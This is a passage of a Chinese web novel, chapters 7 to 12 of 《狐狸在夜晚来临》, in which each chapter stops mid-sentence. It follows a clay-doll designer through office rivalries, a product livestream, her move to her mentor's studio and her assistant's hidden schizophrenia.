花清漓接过烟烟递来的新娃衣放在手中看了看。这其实只是用两块白色长方形布料，通过一根细编织绳将两块布料的一端串在一起，一前一后，腰间再系上一条珠链腰带，一件形制最简单的娃衣就完成了。花清漓看了一会儿，道：“这样就可以了，简单一点更好。娃娃的素体上我做了雕花设计。如果娃衣的设计太复杂的话反而让人难以注意到素体上的雕花。” “行，那我现在就去把后面的做完。”烟烟说完，又钻进打版间继续踩她的小纺织机。 “Evelyn，＇六翼天使''的翅膀配件我做得差不多了，你看看？”3D建模师Esiason捧着六块3D打印的翅膀形配件来到花清漓面前。 花清漓拿起他手里其中一枚翅膀配件，翩飞形态的羽毛栩栩如生，翅膀根部偏斜长，用以插进娃娃背部预留的小孔从而达到固定的效果。 她掂量着翅膀配件的重量，提醒道：“翅膀根部很细，尾部的重量让翅膀插进背部的时候重心偏下，很容易断裂。我知道你是为了美观，但我们也得保证质量。把翅膀的根部做得稍微再粗一点就好了。” “行。”Esiason有些不情愿地从花清漓手中取回翅膀配件，回到3D打印机旁开始修改数据。 “辛苦了！我请大家喝奶茶！”花清漓拿出手机，给工作室的所有人下单了奶茶。 “Evelyn给我买无糖的！”烟烟听到奶茶两个字，打了鸡血似地从工作间探出头来提醒道。 花清漓一向了解她：“知道了！玫瑰普洱不加糖对吧！” “没错，我上次喝这个还是在去年年底。过完年就再没碰过奶茶了！”烟烟一脸“遗憾”的表情道。 谁知下一秒就被Esiason戳穿：“得了吧，你昨天下午不是自己点了外卖吗？难道昨天喝奶茶的那个人不是你，是我的幻觉吗？” 烟烟故意装作想不起来的样子反驳道：“Esiason你看错了，昨天我一直待在工作 7. 7 《狐狸在夜晚来临》全本免费阅读 “呵呵。我谢谢你哦！”花清漓毫无感情地干笑一声道，思索片刻，脑海中又来了新灵感，一把夺过沈确手中的平板就开始修改设计稿。 “这个素体，我有个好点子。还记得我们那天去看的矿山吗？”花清漓用手在平板上指绘，一边对沈确道。 “记得，我看不出有什么特别的地方。就一座矿山你还能想出什么好点子？”沈确不明所以地注视着花清漓手中的动作问。 “就是一个小概念，很快就画好了。”花清漓低着头，手上的动作一刻也不停。 大概过了半小时，花清漓终于满意地举起平板上的设计稿递给沈确。 沈确神色诧异地接过平板来一看，发现花清漓在人偶的躯干和四肢上添加了矿石的装饰设计。这些矿石仿佛雨后春笋一般从人偶的身体里“破壳而出”。 “这个人偶的概念是那座矿山的拟人？”沈确看完设计稿忍不住问。 “没错。”花清漓打了个响指，“这个造型的设计稿，我会授权给你们工作室。不过只有一个是不够的，以后最好能出一整个系列。” 沈确毫不犹豫道：“好。我和我们社的＇佐藤哥''也提前聊过了，只要你愿意授权，我们会尽力配合你出这个6分人偶。至于材质……” “用石塑粘土吧。”花清漓先发制人，让沈确原本想说的话都卡在了喉咙里。 沈确嘲讽地笑了笑，对花清漓的心思一目了然：“不装了？你这心眼子都蹦我脸上了。早就猜到你想搞这一招。怎么，想利用我翻身啊？” 花清漓被戳破心思也丝毫不慌，反而笑道：“我就是要利用这次机会，一举突破我在D社历年的销售额纪录。然后用这个数据一巴掌甩在权世杰（Donald）那群人的脸上。上次我被诬陷泄稿的时候，如果不是因为我是D社的摇钱树，他们谁会在意我的清白死活？反正这些人出了什么事都往我这个负责人身上推，我在D社那么多年，他们每一次都＇有事找Evelyn担责，无事皆大欢喜''。从始至终倒霉的只会有我。明明他们依靠的也是我。真可笑。让他多招几个人型师他能几年都招不到。” “lvy不是你的得力助手吗？”沈确用提醒的语气道。 花清漓听到lvy的名字不屑地笑了一声：“她不发病我就谢天谢地了。最近她精神分裂症又犯了，往自己的手臂上划了几道口子。第二天想装作若无其事地来上班，要不是被我看到，现在工作室所有同事都会知道她有病。她的情绪还是波动太大的话D社是不会留她的。” “你以为你能帮她瞒多久。”沈确毫不留情地戳穿花清漓。 “只帮她瞒到我离职吧。最后二十天，我走以后就看她自己的造化了。”花清漓抬手扶额，一副头疼的样子。 沈确嗤笑一声，懒得理她。起身道：“设计稿发给我，我带回去给我们＇佐藤哥‘过目。只要他点头，明天设计费就能打到你帐上。” “那太好了。我也该走了。这几天累死我了。”花清漓也起身伸了个懒腰道。 听花清漓这么说，沈确微微蹙眉起身道：“太晚了，你一个人走回去我不放心，我送你回去。” 花清漓倒是无所谓：“行吧。” 夜色朦胧，远处海面上的灯塔不知何时亮了起来。在黑色的海面上，替代今晚没能出没的月亮值了班。 花清漓跟在沈确的身后，漫步与沙滩之上。 “你还记不记得小时候，我们在泉亭的那段时间。”沈确忽然停下脚步，背对着她看着海平面道。 “那时候你爸妈就分居了吧。你当时是和你爸住一起，我没记错吧。”花清漓回想道。 沈确在听到“爸妈”两个字时，忍不住笑出了声：“啧，他们俩每天把我丢给保姆，有时候我一个星期也见不了他们一面。这么多年我早就习惯了。” “比起我爸妈，我还是和我师父、师兄比较亲近。”花清漓站在沈确的身侧，看着远处的跨海大桥道。 “我从小没有什么人陪我玩，我爸就会给我雕一些小玩意儿。后来我也会跟着他学雕刻。可是他太忙了，所以干脆就把我送到了师父家，和师兄一起学做石塑粘土人偶。”花清漓收回目光低下头道。 沈确听到花清漓说起“师兄”二字，不自觉地有些烦闷。他知道花清漓从小和自己打打闹闹，唯独对她那位“师兄”十分尊敬。 “时间不早了，你早点回去吧。我前面转个弯就到了。你太晚到家的话小心被伯父误以为你夜不归宿，又要打断你的腿！”花清漓故意提起沈确小时候的糗事，趁着沈确开口骂人之前溜之大吉。 花清漓并没有直接回家，而是去了附近一家名为“OAK橡木匣”的线下代理人偶社。 OAK家的店面很大，店内有国内外多家人型社的实体人偶在此寄售。D社出品的人偶也不例外。 今日店内难得这么晚还有人，几个销售在给顾客介绍人偶相对应的娃社品牌。 花清漓在店内转了一圈，终于在一个柜台前看见了那个整理着她去年年底做的“枯叶蝶”粘土人偶，还是连带配件的大全套。 “我记得我只做了一套＇枯叶蝶''的大全套，居然是被你收回来了。你喜欢就直接跟我说嘛，干嘛花这个钱。”花清漓抬手附在装着“枯叶蝶”人偶外的大展示箱的玻璃上道。 “这可是你亲手做的人偶，我这个做师兄的当然要好好收藏起来。花钱就当是支持你嘛。”穿着灰色T恤的林言蹊没有看她，而是一瘸一拐地走到水吧为花清漓端来一杯温水。 “下次不要花钱去买了。大全套很难收吧？”花清漓接过林言蹊手上的水杯，抿了一口。 “听说你要从D社辞职？”林言蹊靠在柜台前，转移话题道。 花清漓无奈地笑了笑：“师父和你说的？” 林言蹊没有反驳，只道：“师父让我劝你，如果只是因为心情不好就不要想着辞职了。反正D社和DH家都是师父开的，在D社不开心就去DH好了。” “我知道。所以把最后一点工作完成，再把一些琐事交接完就去DH。”花清漓转身走进柜台，在林言蹊早就准备好的小躺椅上躺下。她在这位师兄面前一向是随意惯了的。 “你今天难得不用加班，早点回去休息好了。我们也快下班了。”林言蹊提醒道。 花清漓烦躁地在躺椅上换个了舒服的姿势道：“怎么连你也赶我。我每天在D社是工作、我回到家我爸妈和我谈工作，怎么躲到你这里你还要和我谈工作。让我休息一下吧，这个月亏了一大笔钱烦都烦死了。” “怎么，又背锅了？”林言蹊找来一张转椅在花清漓身旁坐下。 花清漓忍不住和自家师兄吐槽起了这一 8. 8 《狐狸在夜晚来临》全本免费阅读 回到家刚洗完澡的花清漓正准备躺下睡觉，却被微信的来电提示音吓了一跳。 她躺在床上抱着一只蜡笔小新抱枕翻看微信，发现是沈确打来的视频电话。她翻了个白眼，点了挂断。 两秒后，沈确发来一个“？”，花清漓精疲力竭，干脆发了句语音过去：“大半夜的不睡觉给我发什么视频通话？我已经整整半个月没有睡过一天好觉了，有什么事明天再说不行吗？” 对面的沈确只道：“就是告诉你设计稿通过了，Felix让我问你以后可不可以授权让我们做pvc材质版本？只要你答应我们就两种材质一起做。你也知道我们做潮玩的不会用石塑粘土，只有你会。总不能所有订单都让你一个人来完成吧？所以我们想开设两个材质版本供玩家选择。你觉得怎么样？” 花清漓躺在床上，迷迷糊糊道：“等这次的公益活动结束后再开发pvc材质版本。不然我们公益活动的主旨就变了。上架官店后在详情页和官店的主页面把两种材质的版本写清楚，然后把实物图一并放上去让顾客自己选择。你们的提议可以是可以，但我建议等我们把两种材质的都做出来放在官博看玩家反映再说吧。” 她说完，将手机仍在一边不再理会沈确后续发来的信息，一头埋进蜡笔小新抱枕里沉沉睡去。 接下来的D社的一周，花清漓几乎都泡在工作室里和大家一起准备新娃的新品直播。 “Evelyn，咖啡。”lvy给花清漓递上一杯生椰拿铁，补充道：“不加糖的。” “谢谢。”花清漓头也不抬地接过lvy递到手边的咖啡抿了一口，提醒道：“再检查一遍官店详情页的描述是否有错误；通知大家今晚准备新品预售的直播。Donald之前不是总是约那个博主来给我们直播的吗？让他问问那个博主今晚有没有时间。” “好的，Evelyn。”lvy转身回到自己的工位，在工作群里发布今晚的直播预告消息。 “Donald请的博主是OAK酱。OAK酱是我们圈里最红的种草姬，有她坐镇直播效果一定很好。”一旁的建模师Esiason转过身懒散地靠在转椅上道。 “OAK酱那么大牌，把她请过来得花不少钱吧。Dinald难得那么大方。”烟烟从工作间探出头来插嘴道。 “OAK酱最近不是在住院吗？昨天还发微博说前两天急性肠胃炎还有什么细菌感染什么的要住院观察，你们不知道吗？”新来的运营Nolan捧着平板电脑对大家道。 花清漓一听，皱眉道：“那就换人上。谁愿意主持今晚的直播？” Esiason为难道：“我忙活大半个月了想休息一下，而且我不太会说话。我就不自荐了。” “lvy？”花清漓看向一旁的lvy，示意她自荐，“只是给大家介绍一下我们本期的新品和设计概念，试试？” lvy有些犹豫道：“我……我只会背台词，我怕我临场反应迟钝拖后腿……” 花清漓看到她的态度，摇了摇头对大家道：“你们没人上，那我现在又得去约一个新主播？距离直播开始就只剩下十个小时，lvy你尽力去找那几个种草姬，问问她们今晚能不能抽空过来直播？实在不行就只能我们自己人上了。” lvy凭借从前的经验为花清漓准备直播的角落精心搭建了一个用于直播的布景。 直播将在今晚八点钟准时开始，距离直播还有十个小时。所有人都在清点本次直播活动中要展示的新人偶。 “好好检查一下今天直播要展示的人偶拉筋会不会太紧了，不然直播展示的时候因为拉筋太紧出现弹手弹脚的情况那我们可就又得发道歉官博了。”Donald从办公室里走出来冲着大家提醒道。 一旁的Esiason听到Donald的提醒，调侃道：“世界哥，上次说给大家发红包的事没忘吧？这Evelyn可是花了好多心血做的这批新娃，等今晚预售定金过五万，是不是该给大家把红包给补上啊！” Donald早把这事抛在脑后，此刻听Esiason突然提起，只得悻悻点头：“好～如果预售定金能过五万，我马上就给大家发红包。不相信的可以监督我哈！准备直播。” “这可是你说的！”Esiason两手一拍，起身对大家道：“都听见了啊！大家今晚和Evelyn一起加把劲儿，咱们就可以让世界哥给咱们发大红包了！” 一旁的娃衣打版师烟烟听了这话，出声吐槽道：“两个新娃的预售定金是1000，咱们今晚得提交五十单。四分尺寸的六翼天使和两分尺寸的人鱼Donald给的定价是裸娃两千九百一十元和四千一百元，小全套是四分尺寸的那只五千八，两分的小全套是五千三。以上所述都只是普肌，今晚预售没有加入特殊肤色的开定。等普肌达成五十单以后才会开放特殊肤色的预定。” “加油。”花清漓抬起手附在烟烟的肩膀上鼓励了几句，又转头问lvy：“布景搭好了吗？把今晚上新的那几个人偶都摆上，最好放在主播的身旁好方便主播介绍。” “布景搭好了Evelyn，”lvy换了一身白色衬衫，长发梳成了一个松垮垮的马尾辫，额前留了几缕龙须刘海。 花清漓将lvy上下打量了一番，评价道：“怎么看起来和我一样没什么精神。问问她们谁有抓夹借过来用一下。你把你的马尾辫再梳高一点，底下用个抓夹夹住头发和皮筋就能把头发撑起来了。会显得有精神点。” “好的。”lvy听完花清漓的建议，转身去找烟烟很快就借到一个金属抓夹将头发梳理完成。 晚上七点半，距离直播开始还有三十分钟。 “那几个种草姬还是没有时间过来吗？”花清漓站在直播的布景外盯着时间问lvy。 “联系的那几个种草姬确实没法在开播前赶来。”lvy无奈道，“她们住得比较远，今天堵车严重，有一个开车过来的卡在路上根本动不了。” “另外几个呢？”花清漓抬手揉了揉太阳穴，疲惫道。 “情况也差不多。”lvy唯唯诺诺地回复道。 花清漓烦躁地翻了个白眼，起身朝着Donald的办公室走去。 “你不是一向早就约好主播来给我们直播的吗？你今天怎么回事？那么重要的新品发布会你们居然约不到种草姬来直播？”花清漓推开办公室的玻璃门对着Donald就是一顿输出。 “你以为我不想约吗？我从上个星期开始就在约那几个种草姬，有几个都答应我过来了结果今天突然反悔了，还把定金和赔偿款都打给了我。我能有什么办法？你是总监你怎么也不知道想个备用方案啊？”Donald站在办公桌旁摆弄着手机烦躁道。 “约不到种草姬也就罢了，你手 9. 9 《狐狸在夜晚来临》全本免费阅读 沈确懒得理他，只道：“你管我图什么。”刷存在感不行啊。后面这句沈确没有说出口，只是继续注视着直播间里的花清漓。 只见花清漓所在的直播间里，刚播放完新娃的宣传视频。紧接着，开始给在线观众们介绍起两只新人偶的设计概念。 “这次为大家带来的是四分六翼天使和两分尺寸的骨鱼。我给大家简单介绍一下我的设计概念。”花清漓从lvy手里接过一只四分尺寸的六翼天使抱在怀里展示。 “熟悉D社的朋友们都知道，D社从前两年开始就只出特体的人偶。那么这一次也是一样。＇六翼天使''作为通贩款，我把她设计成了四分的大小。她的后背为了安装羽翼插件，特意打上了六个小洞。本来我们打算把羽翼做成磁吸款的但是考虑到磁吸款可能不是那么牢固还容易脱落，所以我们干脆在人偶的背部打了小洞用来固定羽翼插件。”花清漓说着，将六翼天使人偶的素体背部细节展示在镜头前。 “除却通贩款的’六翼天使‘，我还设计了另一款尺寸为两分的限定款人偶。因为有点大，所以我只能把她放在旁边。”她说着，示意镜头跟随自己来到被摆在一旁的空地上的“骨鱼”石塑粘土人偶。 花清漓为大家展示这只“骨鱼”是连带拍摄造景的大全套。 一只身长一米二的“骨鱼”人偶被摆在人造的沙滩布景棚里。她有着灰色的皮肤，头上戴着黄绿色齐腰卷毛假发，眼部则戴着一枚镶满贝壳碎片与海洋垃圾的眼罩。关节手被雕琢成“乞求”的手势放在胸前。骨鱼的下半身则是一条歪歪扭扭的鱼尾骨架，“骨头”的颜色也被染成了灰色。为了做得足够逼真，花清漓还将从海滩上捡回来的藤壶处理后作为装饰粘在了人偶的躯干上。除此之外，还有部分传统的珍珠、贝壳与渔网的装饰品。 随着骨鱼的出镜，弹幕一瞬间被炸了出来。花清漓大概扫了一眼，开始介绍起自己的设计灵感来源：“刚才＇六翼天使''的灵感来源于《天阶序论》中的＇炽天使''形象。我在人偶躯干上做了模仿火焰的浮雕设计，为了凸显她身上的浮雕，因此我们让服装打版师特意将她的服装做得比较简单。至于＇骨鱼''，相信大家一眼就能看出来我想表达的意思。” MD潮玩工作室的几人在看到两个新人偶的造型后，不由得发出感叹：“一个石塑粘土人偶还能做成这样子呢？Evelyn做的限定款一向很贵，记不记得前两年她做的螺钿工艺系列，当时被拍出单价七万一只。而且尺寸还是三分……还是四分来着，想不起来了。” “那个我也看过，现在被放在人偶展览馆里。”一旁的运营插嘴道。 “别吵，看直播呢。”沈确全神贯注地盯着屏幕里花清漓，头也不抬地提醒道。 直播间里，随着花清漓的介绍，六翼天使的预定链接也同步上架。 伴随着花清漓的介绍，直播间的观众们都忍不住好奇两分尺寸的限定款“骨鱼”的售价，纷纷发问。 花清漓扫了一眼弹幕，大概记住了几个问题后，将怀里的“六翼天使”人偶递给一旁的lvy，对着镜头介绍道：“四分尺寸的六翼天使和两分尺寸的骨鱼裸娃定价分别是是两千九百一十元和四千一百元。小全套是四分尺寸的那只五千八，两分尺寸的骨鱼的小全套是五千三。以上所述都只是普肌，今晚预售没有加入特殊肤色的开定。等普肌达成五十单以后才会开放特殊肤色的预定。我们社本期开放的特殊肤色有灰肌和绿肌以及浅烧这三种肤色的限时仓。这三种特殊肤色将各开放二十个预定名额，预定特殊肤色像以前一样另外加收500元妆造费。如果有想要预定特殊肤色的朋友们呢，可以留意直播间的货品链接。购买的时候请先私聊客服，向客服发送你想预定的货品链接，我们客服会帮助你完成预定流程。由于今天新品上架，因此上架的两款人偶会打八折。折扣持续一个月。最后提醒大家，六翼天使是通贩，大家不用担心下架。骨鱼是限定但不限时。限量五套，售完即下架。” 在介绍完订购流程后，花清漓的任务算是基本完成。她起身离开镜头，一旁的lvy及时地递来一杯温水，同时还不忘汇报道：“两个新娃开放的预定名额刚刚已经满了。先满的是四分尺寸那只''六翼天使‘。” 花清漓对这个结果毫不意外。她喝了口水道：“很正常，两分或三分的尺寸对部分娃娘来说都太大了，如果不是特别喜欢，一般情况下都会选择尺寸稍微小一点的四分款。两分尺寸的骨鱼太大了，又是鱼骨特体，私养的话对大部分娃娘来说会有一点点负担。但倘若是真心喜欢，又怎么会在意这些呢。咱们又不是非得在今天一天之内全部卖完。” lvy听完花清漓的话，来到直播镜头前接替花清漓继续支持直播。 从直播间退出后，花清漓就收到了来自沈确的短信：【直播我们工作室的人也看了，新品很有创意。】 花清漓一下子瞪大了眼睛，想到沈确和他几个同事瞪着眼睛窝在屏幕前看着自己直播就感觉怪怪的。 她看了一眼日期，再过两天她就可以正式从D社辞职了。见状，她索性给沈确发信息问：【上次的设计稿你们社Felix不是通过了吗？石塑粘土版本的实物我也做出来了，要不要拿过去看看？】 谁料对面回复道：【Felix让我们先做pvc材质版本，你知道的，我们只认识你这么一个石塑粘土人型师。我们是做潮玩的，pvc材质才是我们的强项。Felix给你的石塑粘土版本开放了线上预订链接，要看看吗？】顺便附上了一个链接。 花清漓点开链接扫了一眼，pvc材质成品和自己预期的效果差不多。石塑粘土版本还没有展示图，但有着“会由人型师花清漓亲手设计并制作”的声明。 她索性回复 10. 10 《狐狸在夜晚来临》全本免费阅读 “师父，您还没回答我的问题。”花清漓追问道。 电话那头的人无奈地叹了口气，道：“好。我把你调过去就是了。到了DH当人型师，至于以后能爬到什么位置，就看你自己了。” 花清漓得到自己想要的结果，终于眉开眼笑：“谢谢师父，我不会给您丢脸的！” 挂断电话，第二天下午就收到了师父给自己发来的调职通知。 D社和DH同属一家，都是由花清漓的师父菅云舒开设的。唯一不同的是，D社近几年的设计风格以花清漓的哥特怪诞风格为主，DH则从创立至今一直以各国神话和民俗文化拟人系列人偶形象为主。 看到调职通知，花清漓麻利地冲到工作室开始收拾起自己的东西。 “Evelyn你真的要去DH？”lvy迎上前来问。 花清漓整理着自己的画稿道：“我去DH不是很正常吗？DH和D社一样是我师父一手创立的，况且，我和那边的同事们一直都很熟。” lvy看着花清漓，神色复杂道：“那你还会回来吗？” 花清漓笑了笑，抬手放在lvy的肩膀上张口就来：“D社和DH一样都是我家，我从小到大就被师父带到DH去玩。哪有什么＇回不回来''这种话！” 她不再给lvy提问的机会，收拾好东西就朝隔壁那家黑色门头的工作室走进去。 DH人型社的规模和D社差不多，工作室内部格局也差不多。在职的员工们花清漓也都很眼熟，几乎都能叫得出名字。 花清漓抱着自己的画稿准备朝老板办公室走过去时，就被DH的总监叫住。 “Evelyn？” 她循声转过头，看见一个身着灰色西装，捧着一杯奶茶的小个子中年男人。 “景爷没听师父说我要来？”花清漓面对来人，露出一个礼貌的笑容。 景爷捧着奶茶，抬手揉了揉脑袋故作回忆，半晌后终于一副“恍然大悟”的模样指着花清漓道：“听说了，我给忙忘了！” 他尴尬地收回手，笑道：“DH的设计风格和你的设计风格不一样，这一点你知道的吧？如果想做设计师，急不得、得慢慢来。”这话一出，周围的员工纷纷朝景爷投来视线。 “那——景爷的意思，该不会是想让我从助理开始做起吧？”花清漓好笑道。 景爷连忙反驳：“诶，这可不是我的意思。是你师父的主意。” 花清漓听到“你师父”三个字，一咬牙，笑道：“可以。” “那就好，”景爷满意点点头，将花清漓往工位上领：“来吧，跟大家见一面再去工作。” 所谓的工位，仅仅只是一张可升降绘画工作台。上面被堆了不少画稿和粘土人偶关节。 “谢谢景爷。”花清漓将自己的东西放在工作台上，三两下将台面整理干净。 景爷似乎没有听见一般，自顾自转身朝总监办公室走去。 花清漓见景爷不搭理自己，只好转头问一旁的女建模师：“Gwen，可以和我说说工作室最近的项目吗？” 被叫到名字的女孩抬起头应声道：“当然可以，Evelyn。” Gwen梳着丸子头，穿着宽松的T恤。她托了一下鼻梁上架着的银色眼镜，介绍道：“最近除了在完成本季度的总订单，还在准备下一个系列的新娃设计。讲个笑话，景爷连下一个系列的主题都没定下来，谁知道要往哪个方向去做。” 花清漓听完Gwen的话，思索道：“我看过DH历年来出品的所有人偶，有一部分石塑粘土版本的是我师父要求我帮忙做的。我知道DH的风格一直以国风、神话为主，国内以此为主题的人型社也不少。现在我从D社调来DH，我想我不会很难适应这里。所以我想自荐参与下一系列的新娃设计。” Gwen沉默片刻，提醒道：“景爷不会那么轻易就让初来乍到的你参与新项目的。” 花清漓耸耸肩，一副无所谓的样子对Gwen道：“我当然知道景爷不会那么轻易答应让我参与DH的新项目的。不过既然有送上门的方案，为什么不看看呢？说不定能赚钱。你说是吧？” Gwen转了转眼珠，提议道：“那你确实应该找景爷聊聊你的项目。” “我也这么觉得！不过我得先去买点东西。”花清漓说着，起身离开工作室去附近的甜品店买了两份口味不一的小蛋糕回来。 花清漓拎着蛋糕来到景爷办公室门口，轻轻敲门。 “请进。”景爷百无聊赖的声音从办公室里传来。 花清漓推开办公室的门，露出一个谄媚的笑将手里的蛋糕放在办公桌上，还不忘对坐在办公桌前的人道：“给你买了楼下那家的蛋糕，两个口味不一样，一个更甜一个更清淡。配你的奶茶刚刚好。” 景爷惊讶地瞥了她一眼，靠在椅子上道：“这么懂事啊？还那么细心？” 花清漓笑了笑，解释道：“都是为了工作嘛。本来我也不是什么清高的人，离开D社还不都是因为我自己太容易相信别人所以才吃亏了嘛。既然师父给我这个重新开始的机会，那我当然不能辜负他老人家。我一定要抓住这个机会。”她说完，坚定地看向景爷道：“我知道DH接下来有新项目，我想加入。担任新娃的设计师。” 景爷看着花清漓，抬手揉了揉太阳穴辩解道：“不是我不帮你，负责新娃设计的设计师已经定下来了，我答应人家要给他这个机会的。你突然加进去，你的设计风格那么特别，到时候把他的设计创意都盖下去的话，你让他怎么想？不要让我难做！” 花清漓听到这话暗自在心里发笑。作为商人、资本家，景爷在乎的居然不是钱而是自己属下心里委屈不委屈？用这种理由来搪塞她，未免也太好笑了。 见花清漓不接话，景爷继续道：“你就乖乖听你师父 11. 11 《狐狸在夜晚来临》全本免费阅读 餐厅的位置比较偏僻，花清漓步行过去耗了些时间。原本想扫一辆共享电动单车，结果找了一路也不见车辆的身影。一直到她抵达餐厅门口时，才终于看见街对面有一整排共享电动单车。 花清漓透过餐厅的玻璃墙看见一身黑色衬衫的沈确独自坐在卡座上，手边放着一个小巧的蜡笔小新手办。 她来到沈确对面落座，看着桌上的蜡笔小新手办问他：“你什么时候也喜欢这个了？” 沈确的嘴角微微上扬，轻描淡写道：“我对蜡笔小新没什么兴趣。今天路过一家扭蛋店，随手抽到的。我记得你喜欢，送给你！” 花清漓毫不客气的将这个小巧可爱的手办捧在掌心里把玩。沈确见她心情不错，又道：“我们合作的项目有新消息了。” “什么？”花清漓摆弄着手里的玩具，头也不抬地问他。 “源力环保公司，你知道吗？”沈确拿出手机翻出了这个公司的资料给花清漓看。 花清漓瞥了一眼屏幕上的资料道：“知道，闻人老师的公司……”她说着，灵光一闪，笑道：“对啊，闻人老师的公司会投资环保项目。如果我的项目能得到闻人老师的肯定，我说不定就可以拉到源力环保公司的投资了。景爷也没理由为难我了！” 正当二人聊得愉快，花清漓的手机突然传来lvy的来电提示。 “她这个时候找你，该不会是因为你走了以后在D社被针对了吧？她想投靠你？”沈确装模作样地猜测道。 花清漓没有理会沈确，接通了电话。 lvy唯唯诺诺的声音从听筒里传来：“Evelyn，真抱歉那么晚打扰你，我……” “你又碰上什么事了？”花清漓听着她的语气，心中升起一股不太好的预感。 电话那头的lvy沉默了片刻，支支吾吾道：“Donald，最近好像在特意调查我。我看他前两天去了精神科，并且我刚刚发现我抽屉里的药被人动过……” 花清漓听到这个消息，脸色一僵。很快又对lvy道：“不是叫你自己注意点吗？他怎么会突然调查你的病？你是不是最近没有按时吃药病情加重了，所以举动才会惹他起疑？” “我……”lvy张口想解释，支支吾吾半天却一句话都说不出来。 花清漓看向对面一脸戏谑的沈确，心中烦躁更甚。索性对lvy道：“实在不行你就和Donald坦白吧，看在你没有功劳也有苦劳的份上Donald不会因为这个把你辞退的。” “好，我知道了。”伴随着lvy挂断电话，花清漓放下手机绝望地趴在桌子上。 沈确看着她苦恼的样子，忍不住问：“当初lvy到D社应聘的时候我就跟你说过别当好人，是个公司一般都会拒绝精神病患者吧。你怎么想的？” 花清漓听到这话，回想起当初看到lvy苦苦哀求自己的样子，道：“怪我。当时看见lvy很喜欢人偶，一心想要来D社应聘。她求了我很多次我才勉强答应的。” “你替她向D社隐瞒病情，她也没见得多感激你。你离开D社这么多天，她都没来找过你？”沈确不屑道。 花清漓无言反驳，只能扶着脑袋道：“没有。想也知道Donald在盯着她，她哪有那么容易来找我。” “那看来Donald很关注你的动向嘛，他想让你回去。”沈确道。 “我不会回D社的。”花清漓淡淡道，“D社默许手底下的人暗算我，就说明我在他们那里可有可无。我既然走了又何必想着回去呢。行了，我得回去想想办法怎么说服闻人老师了。下一次能不能换一家店约我？大晚上的来咖啡厅，神经啊？还睡不睡了。” “行行行。”沈确索性也起身，“我送你回去。” “不用了，我自己回去吧。”花清漓拒绝道，转身消失在夜色中。 第二天一早，花清漓就接到了来自lvy的电话。 “Evelyn怎么办，Donald查出我有精神分裂症的事了，他现在要逼我辞职……”电话那头lvy情绪激动道。 花清漓在心里叹了口气，道：“我也没办法替你求情。你就和Donald说是我让你隐瞒病情留在D社当助理的。反正我现在从D社辞职了，不管怎么说，到时候他们也会把锅扣在我的头上。大不了你先发制人，辞职然后来DH吧。我尽量求师父把你留下。” “真的吗？”lvy小心翼翼地问。 “我尽量。”花清漓也不想太早给承诺，只好模棱两可地应下。 挂断电话，花清漓烦躁地将床上的蜡笔小新抱枕一脚踹下床，起身去洗漱。 待她换好衣服出门时，收到了师父菅云舒的短信。说是有个重要的客人在DH想要见自己。 “重要的客人”？花清漓觉得有些惊讶。以往自己的客人，大多是通过线上平台向自己定制人偶。这位“客人”却指明要见自己，看来他另有目的。 花清漓马不停蹄地赶到DH。匆匆迈近师父的会客室，看见一个熟悉的身影坐在沙发上。 那人穿着一身灰色唐装。花清漓一眼就认出来人。 她上前打招呼：“闻人老师？好久不见了。” 沙发上的闻人步月见了花清漓，眉开眼笑：“小花来了！我也好久没见你了，这不，过来和你师父叙叙旧，顺便看看你！” “谢谢闻人老师挂念。”花清漓礼貌地笑了笑，在另一边的沙发上落座。 同样一身唐装的菅云舒从门外进来，手里拎着一壶茶水对闻人步月道：“老东西，我给你说啊，今天这茶可是上好的武夷山大红袍，小花给我买的。尝尝！小花，给闻人老师满上！” “唉。”花清漓上前替二人分别斟茶，“闻人老师请慢用！” 闻人步月举起面前的茶盏，对菅云舒调侃道：“老东西，我这次过来，可不只是找你来喝茶聊天的。你上次给我看的设计图，是小花画的对吧？” 花清漓突然听到自己的名字，有些惊讶地看向师父。难道是师父为自己特意约了闻人老师？ 不等花清漓揣测，就听见闻人步月继续道：“我觉得那 12. 12 《狐狸在夜晚来临》全本免费阅读 “投资，我拉到了。”花清漓看着景爷，笑道。 景爷坐在转椅上，捧着奶茶道：“算你厉害。升你继续担任人型师，加入新项目组吧。” “谢谢景爷！一会给你订蛋糕！”得到了满意的结果，花清漓笑着走出办公室，拿出手机就看到工作群里景爷刚发布的升职通知。 “Evelyn恭喜升职！” “谢谢，”花清漓看着面前的Gwen道谢，接着又对大家道：“下午我给大家订了下午茶，记得留点肚子尝一尝！” “哇哦～谢谢Evelyn！”几个同事听到有下午茶，纷纷出声感谢。 花清漓回到自己工位拿上了包，跟旁边的同事道：“麻烦帮我请一个下午的假，我要处理一点私事。” “好的Evelyn。” 得到同事的帮助，花清漓才出了DH的大门。 lvy约自己在一家名为调白夜镜的清吧见面。 这家清吧的老板与花清漓是旧相识，只是花清漓这两年都窝在工作室里，几乎没来过这家清吧。 调白镜夜白天的顾客不少，花清漓根据lvy发的座位号找到了坐在卡座的lvy。 lvy今日穿了一身粉色的西装裙，长发披在肩上，脸色有些苍白，眼下有一圈乌青的黑眼圈。 “你脸色这么差？”花清漓在lvy对面落座。 lvy闻言，抬手摸了摸自己的脸颊解释道：“最近有点累，晚上回到家的时候总是会幻听，根本就睡不好。吃了药也没用。” 花清漓看着lvy问：“你这次这么急找我过来，你希望我怎么帮你？你的事我跟师父说过了，他答应我把你留下，你可以继续做我的助理。我现在只刚从助理升人型师，景爷肯定会继续盯着我。我必须找机会在DH站稳脚跟。”人型师、总监，她要一步一步往上走。 lvy听完花清漓的话，手上紧张地抠着自己的手指犹豫地抱歉道：“对不起Evelyn……” 花清漓看着满脸歉意的lvy，安慰道：“别说对不起了。你有精神分裂症的事其实从一开始就不该隐瞒。要不是因为当初我发现抽屉里的药，被Donald看到的话你根本不可能留在D社。从一开始你就该知道这件事早晚会被发现的，你现在急也没有用。如果你要来DH，我师父不知道你的病情，我不会隐瞒我师父。但景爷肯定会调查你的背景。你自己考虑清楚吧。” 她说完，不再理会lvy，起身离开调白镜夜清吧。 与工作相关的事情总是这么让人心烦。花清漓忽然觉得人生枯乏无味。 她原本是怀着逃避现实的目的辞职的，前往自己师父的工作室也只是为了当条咸鱼摆烂。她从小到大当人型师的梦想已经完成了，这些年随波逐流，她早就把什么“理想”抛在一边了。当初一时心软帮了lvy，却没想到给自己揽了这么个麻烦。说不后悔是不可能的，但事情已经发生了，自己还能怎么办。 就在她准备回DH时，沈确给她打来了电话： “源力环保公司向我们申请授权。这是你授意的对吧？你又利用我们做人情？” 